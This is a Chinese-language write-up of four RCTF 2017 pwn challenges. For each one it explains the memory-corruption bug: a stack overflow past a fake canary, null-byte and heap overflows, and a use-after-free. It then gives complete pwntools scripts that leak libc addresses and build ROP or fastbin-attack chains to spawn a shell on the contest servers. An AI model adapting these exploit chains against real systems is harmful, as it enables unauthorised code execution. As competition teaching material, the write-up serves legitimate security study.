RCTF2017赛后总结

Rcalc

程序入口

Input your name pls: 124sdf
Hello 124sdf!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:

看一下代码

__int64 main_1()
{
  ...
  printf("Input your name pls: ");
  __isoc99_scanf((__int64)"%s", (__int64)&name);// 可以溢出
  ...
  return result;
}

在主函数中调用了scanf("%s", &name)来获取输入,很明显,这是一个栈溢出。但是程序中实现了一个伪canary保护,所以需要先突破这个防护

__int64 main_1()
{
  __int64 result; // rax@1
  char name; // [sp+0h] [bp-110h]@1
  __int64 v2; // [sp+108h] [bp-8h]@1  //v2在栈的底部,栈溢出会将其覆盖

  v2 = init_random();
  ...
  result = get_random();
  if ( result != v2 ) 
    sub_400BD4(); //发现栈溢出,退出程序
  return result;
}

注意一下save_result功能:它会将两个数字相加的结果保存在bss段上,但是并没有进行边界检测

__int64 __fastcall save_result(__int64 a1)
{
  __int64 cal_results_list; // rsi@1
  __int64 count; // rdx@1
  __int64 result; // rax@1

  cal_results_list = *((_QWORD *)cal_results + 1);
  count = (*(_QWORD *)cal_results)++;
  result = a1;
  *(_QWORD *)(cal_results_list + 8 * count) = a1;
  return result;
}

来看一下bss中的数据布局

.bss:06020F0 ; #3 *cal_result
.bss:06020F0 cal_result               
.bss:06020F0                                    
.bss:06020F8 ; #3 *randoms
.bss:06020F8 randoms    
.bss:06020F8     

很明显,在经历有限次的save_result后就可以覆盖randoms数据,那么只要和栈溢出的数据做一个匹配,就可以顺利地执行ROP操作了。完整的脚本如下

#!/usr/bin/env python
# coding=utf-8

from pwn import *


local = False
debug = True
slog = True

if slog: context.log_level = "debug"

if local:
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    libc = ELF('./libc.so.6')

def pwn():
    if local: 
        p = process('./RCalc')
    else:
        p = remote('rcalc.2017.teamrois.cn', 2333)

    p.recvuntil('name pls:')

    pop_rdi = 0x401123
    pop_rsi_r15 = 0x401121
    pattern = 0x401203
    bss = 0x602100

    scanf_plt = 0x4008e0
    printf_plt = 0x400850  
    __libc_start_main_ptr = 0x601ff0

    main_start = 0x401036

    payload = 'a'*8*33 + p64(1) + 'b'*8
    payload += p64(pop_rdi) + p64(pattern) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(scanf_plt)
    payload += p64(pop_rdi) + p64(pattern) + p64(pop_rsi_r15) + p64(__libc_start_main_ptr) + p64(0) + p64(printf_plt)
    payload += p64(main_start)


    p.sendline(payload)

    def add(num1, num2, is_save=True):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('integer:')
        p.sendline(str(num1))
        p.sendline(str(num2))
        p.recvuntil('result?')
        if is_save:
            p.sendline('yes')
        else:
            p.sendline('no')

    def exit():
        p.recvuntil('choice:')
        p.sendline('5')

    for i in range(34):
        add(i+1, i+1)
    add(0, 1)
    #gdb.attach(p, open('debug'))
    exit()
    p.sendline('/bin/sh\x00')
    __libc_start_main_addr = u64(p.recvn(6) + "\x00\x00")
    print("__libc_start_main_addr is " + hex(__libc_start_main_addr))

    system_addr = __libc_start_main_addr + libc.symbols['system'] - libc.symbols['__libc_start_main']     
    print("system addr is " + hex(system_addr))

    p.recvuntil('name pls:')
    payload = 'a'*8*33 + p64(1) + 'b'*8
    payload += p64(pop_rdi) + p64(bss) + p64(system_addr) 
    p.sendline(payload)

    for i in range(34):
        add(i+1, i+1)
    add(0, 1)
    if local and debug: gdb.attach(p, open('debug'))
    exit()

    p.interactive()


if __name__ == '__main__':
    pwn()

Rnote

程序入口

welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 

本题的主要问题出在readn功能中,这里存在一个null-byte溢出

__int64 __fastcall readn(__int64 a1, unsigned int a2)
{
  for ( i = 0; i <= (signed int)a2; ++i )
  {
    if ( read(0, &buf, 1uLL) < 0 )
      exit(1);
    *(_BYTE *)(a1 + i) = buf;
    if ( *(_BYTE *)(i + a1) == '\n' )
    {
      *(_BYTE *)(i + a1) = 0;
      return (unsigned int)i;
    }
  }
  return (unsigned int)i;
}

通过溢出后可以修改指针

0x6020e0:   0xe000000001    0x61616161
0x6020f0:   0x0 0xff7010
0x602100:   0xa000000001    0x62626262
0x602110:   0x0 0xff7100
0x602120:   0x1000000001    0x6363636363636363
0x602130:   0x6363636363636363  0xff7100 //null-byte溢出导致改指针指向第一个堆块

事实上,这个时候就可以触发UAF泄露libc地址。讲道理到这里已经可以通过修改stdout指针去拿shell了,然而试了很久也没有成功,果断换个方法:先控制main_arena的top指针,使其指向atoi_got,最后再分配一块不在fastbin列表中的内存就可以控制atoi函数了。完整的脚本如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

local = 0
slog = 1

if slog: context.log_level = "debug"

def pwn():
    if local:
        p = process("./RNote")
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        p = remote('rnote.2017.teamrois.cn', 7777)
        libc = ELF('./libc.so.6')

    def add(size, title, content):
        p.recvuntil("choice:")
        p.sendline('1')
        p.recvuntil('size:')
        p.sendline(str(size))
        p.recvuntil('title:')
        p.sendline(title)
        p.recvuntil('content:')
        p.sendline(content)

    def show(index):
        p.recvuntil("choice:")
        p.sendline('3')
        p.recvuntil('show:')
        p.sendline(str(index))
       
    def delete(index):
        p.recvuntil("choice:")
        p.sendline('2')
        p.recvuntil('delete:')
        p.sendline(str(index))

    add(0xe0, 'aaaa', 'bbbb')
    add(0xa0, 'bbbb', 'dddd')
    add(0x10, 'c'*0x10, 'dddd')
    add(0x60, 'dddd', 'dddd')
    add(0x60, 'dddd', 'dddd')
    delete(1)
    
    add(0x60, 'dddd', 'eeee')
    delete(4)
    delete(1)

    show(2)
    p.recvuntil('content: ')

    heap_base = u64(p.recvn(8)) - 0x230
    print("heap_base is "+ hex(heap_base))

    main_arena = u64(p.recvn(8)) - 248
    print('main_arena addr is ' + hex(main_arena))
    
    libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
    print('libc_base is ' + hex(libc_base))

    system_addr = libc_base + libc.symbols['system']
    print("system addr is " + hex(system_addr))

    delete(3)
    delete(2)

    fake_fastbin = libc_base + libc.symbols['_IO_2_1_stderr_'] + 165 - 8

    add(0x60, 'dddd', p64(0x60))
    add(0x60, 'dddd', 'eeee')
    add(0x60, 'dddd', 'eeee')

    #add(0x60, 'dddd', 'a'*0x26 + p64(0xdeadbeaf))
    #add(0x60, 'dddd', 'a'*0x13)

    add(0x40, 'dddd', 'eeee')
    add(0x50, 'dddd', 'eeee')
    add(0x50, 'd'*0x10, 'eeee')
    add(0x50, 'dddd', 'eeee')

    delete(5)
    delete(7)
    delete(6)

    fake_fastbin = libc_base + libc.symbols['_IO_2_1_stdout_'] + 165 - 8

    add(0x50, 'dddd', p64(main_arena + 0x28))
    add(0x50, 'dddd', 'eeee')
    add(0x50, 'dddd', 'eeee')
    #gdb.attach(p, open('debug'))
    add(0x50, 'dddd', p64(0) * 4 + p64(0x602058)) 

    add(0x40, 'dddd', p64(system_addr))
    p.sendline('/bin/sh')
    p.interactive()

if __name__ == '__main__':
    pwn()

Rnote2

程序入口

welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:

主要关注两个函数

第一个函数在输入结束后没有添加\0结束符

__int64 __fastcall readn(__int64 a1, unsigned int a2)
{
  char buf; // [sp+1Bh] [bp-5h]@2
  int i; // [sp+1Ch] [bp-4h]@1

  for ( i = 0; i < (signed int)a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
      break;
    *(_BYTE *)(a1 + i) = buf;
    if ( *(_BYTE *)(i + a1) == 0xA ) 
      break;
  }
  return (unsigned int)i;
}

另外一个函数是expand功能里面

__int64 expand()
{
  ...
  if ( (signed __int64)(signed int)v3 + ptr->length > 256 ) //长度判断
  {
    puts("Too big!");
    exit(1);
  }
  ptr->content = realloc(ptr->content, (signed int)v3 + ptr->length); 
  ... 
  strncat((char *)ptr->content, &s, (signed int)(v3 - 1));  
  ...
}

在正常情况下,这段代码并不会出现问题。但是存在一个问题,如果我们在释放一个非fastbin的堆块后,这个堆块的bck和fwd指针都会变成main_arena中的bins的地址。

0x55f53cdb8000: 0x0 0x31
0x55f53cdb8010: 0x0 0x100
0x55f53cdb8020: 0x55f53cdb8150  0x55f53b977080
0x55f53cdb8030: 0x55f53cdb8040  0x111
0x55f53cdb8040: 0x7f2e69217b58 <main_arena+88>  0x7f2e69217b58 <main_arena+88>

此时,如果申请一个字节的块,内容为一个回车符,堆块就会变成这个样子

0x563ba85af030: 0x563ba85af040  0x21
0x563ba85af040: 0x7fbdfc61bc0a[回车符] <main_arena+266>    0x7fbdfc61bc58 <main_arena+344>
0x563ba85af050: 0xa 0xf1

这个时候如果调用list功能,就已经可以泄露libc地址了。那么在泄露完之后,我们还得想办法控制EIP。注意下面这行代码

strncat((char *)ptr->content, &s, (signed int)(v3 - 1));  

在上一步中,我们只申请了一个字节的堆块,因此对应的ptr->length = 1,那么只要扩充后的长度不超过堆块大小,这个时候调用strcat就有可能导致堆溢出

0x5606b8b19040: 0x62627f0d6cec9c0a  0x6262626262626262
0x5606b8b19050: 0x6262626262626262  0x51 //堆块大小被修改成了0x51
0x5606b8b19060: 0x0 0x60
0x5606b8b19070: 0x0 0x5606b8b19010

通过修改堆块大小我们就可以构造heap overlap,再下一步就是fastbin attack了,籍此可将realloc修改成system函数,那么在触发expand时就可以get shell。完整的代码如下

#!/usr/bin/env python
# coding=utf-8

from pwn import *

slog = 1
local = 0

if slog: context.log_level = 'debug'

def add(length, content):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('length:')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)

def delete(index):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('delete?')
    p.sendline(str(index))

def list():
    p.recvuntil('choice:')
    p.sendline('3')

def edit():
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('edit?')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.sendline(content)

def expand(index, expand_length, expand_content):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil('expand?')
    p.sendline(str(index))
    p.recvuntil('expand?')
    p.sendline(str(expand_length))
    p.recvuntil('expand')
    p.sendline(expand_content)

if local:
    p = process('./RNote2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('rnote2.2017.teamrois.cn', 6666)
    libc = ELF('./libc.so.6')

add(0x100, 'a'*0x10)
add(0x10, 'b'*0xf)
delete(1)
add(1, '')
list()

p.recvuntil('content: ')
p.recvuntil('content: ')
main_arena = u64(p.recvn(6) + '\x00\x00') - 0x10a
print('main_arena is ' + hex(main_arena))

if local:
    libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
else:
    libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook'] + 0x20
print('libc base is ' + hex(libc_base))

system_addr = libc_base + libc.symbols['system']

add(0x60, p64(0)*3 + p64(0x21))
expand(2, 0x15, 'b'* 0x12 + '\x51\x00')
add(1, '')
delete(3)

"""
0x55847781a050: 0x6262626262626262  0x51
0x55847781a060: 0x0 0x60
0x55847781a070: 0x55847781a100  0x55847781a010
0x55847781a080: 0x55847781a090  0x71
0x55847781a090: 0x0 0x0
0x55847781a0a0: 0x0 0x21
"""

fake_fastbin = libc_base + libc.symbols['__malloc_hook'] - 0x20 + 5 - 8
payload = 'a'*0x28 + p64(0x71) + p64(fake_fastbin)
add(0x40, payload)

add(0x60, "/bin/sh\x00")
add(0x60, 'a'*11 + p64(system_addr)*2)
#gdb.attach(p, open('debug'))

p.recvuntil('choice:')
p.sendline('5')
p.recvuntil('expand?')
p.sendline(str(5))

p.interactive()

Aircraft

程序入口

Welcome to aiRline!
what do you want to do?
1. Buy a new plane
2. Build a new airport
3. Enter a airport
4. Select a plane
5. Exit
Your choice: 

这个题是一个UAF漏洞的题,漏洞出现在sell_airport功能中

int __fastcall sell_airport(_QWORD *airplane)
{
  ...
  free(airplane);   //airplane指向的是airport结构体
  return puts("Success!");
}

int __fastcall do_with_airport(_QWORD *a1)
{
  ...
  return sell_airport(a1);
}

在释放后,并没有将对应的指针置空,从而导致了UAF漏洞。通过UAF漏洞,可以泄露地址,也可以控制堆块的分配顺序。这个时候,还需要关注另外一段代码

int __fastcall sell_plane(Airplane *a1)
{
  delete_from_link(a1);
  return ((int (__fastcall *)(Airplane *))a1->func)(a1);
}

在airplane结构体中,有一个函数指针默认指向了free函数,这个函数会在sell_plane功能中调用

struct Airplane
{
  char name[32];
  char *company;
  char *airport;
  Airplane *prev;
  Airplane *next;
  _QWORD *func;
};

那么我们在可以控制堆块分配后要做的就是控制这个函数指针,使其指向system函数,并将对应的airplane的名称修改为/bin/sh,那么在sell_plane时就可以get shell,完整的脚本如下

#!/usr/bin/env python
# coding=utf-8

from pwn import *


slog = 1
local = 0

if slog: context.log_level = 'debug'

if local:
    p = process("./aircraft")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    p = remote("aircraft.2017.teamrois.cn", 9731)
    libc = ELF("./libc.so.6")

def buy(airtype, name):
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline(str(airtype))
    p.recvuntil('name:')
    p.sendline(name)

def build(length, name):
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('name?')
    p.sendline(str(length))
    p.recvuntil('name:')
    p.sendline(name)

def enter(index, option):
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choose?')
    p.sendline(str(index))
    p.recvuntil('choice:')
    p.sendline(str(option))
    if option == 1:
        p.recvuntil('Exit')
        p.sendline('3')

def select(name, option, airport = -1, is_exit = True):
    p.recvuntil('choice')
    p.sendline('4')
    p.recvuntil('choose?')
    p.sendline(name)
    p.recvuntil('Exit')
    p.sendline(str(option))
    if option == 1:
        p.recvuntil('fly?')
        assert airport != -1
        p.sendline(str(airport))
        if is_exit:
            p.recvuntil('choice:')
            p.sendline('3')

list_airport = 1
sell_airport = 2

fly_airplane = 1
sell_airplane = 2

for i in range(5):
    buy(1, str(i))

build(20, "a"*0x10)
build(20, "b"*0x10)

enter(0, sell_airport)
enter(1, sell_airport)

select('0', fly_airplane, 1, is_exit = False)
p.recvuntil('0 to ')
code_base = u64(p.recvn(6) + '\x00\x00') - 0xb7d
print("code_base is " + hex(code_base))

p.recvuntil('choice:')
p.sendline('3')

build(0x80, p64(code_base + 0x202080))
select('1', fly_airplane, 1, is_exit = False)

p.recvuntil('1 to ')
heap_base = u64(p.recvn(6) + '\x00\x00') - 0x1a0
print("heap_base is " + hex(heap_base))

p.recvuntil('choice:')
p.sendline('3')

build(20, "a"*0x10)
build(20, "b"*0x10)
enter(3, sell_airport)
enter(4, sell_airport)

payload = p64(code_base + 0x201f70)
payload += p64(heap_base + 0x10)
payload += p64(heap_base + 0x60)
payload += p64(heap_base + 0x10)
payload = payload.ljust(0x88, '\x00')

build(0x88, payload) 
select('2', fly_airplane, 4, is_exit = False)

p.recvuntil('2 to ')
free_addr = u64(p.recvn(6) + '\x00\x00') 
print("free_addr is " + hex(free_addr))

system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
print("system addr is " + hex(system_addr))

p.recvuntil('choice:')
p.sendline('3')

build(0x60, '')
enter(4, sell_airport)

build(0x40, 'aaaaaaaaaa')
build(0x40, p64(heap_base + 0xf0))
build(0x40, 'aaaaaaaaaa')
build(0x40, 'aaaaaaaaaa')
build(0x48, "/bin/sh".ljust(0x20, '\x00') + p64(heap_base + 0x10)*4 + p64(system_addr))

#gdb.attach(p, open('debug'))
select('/bin/sh', 2)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容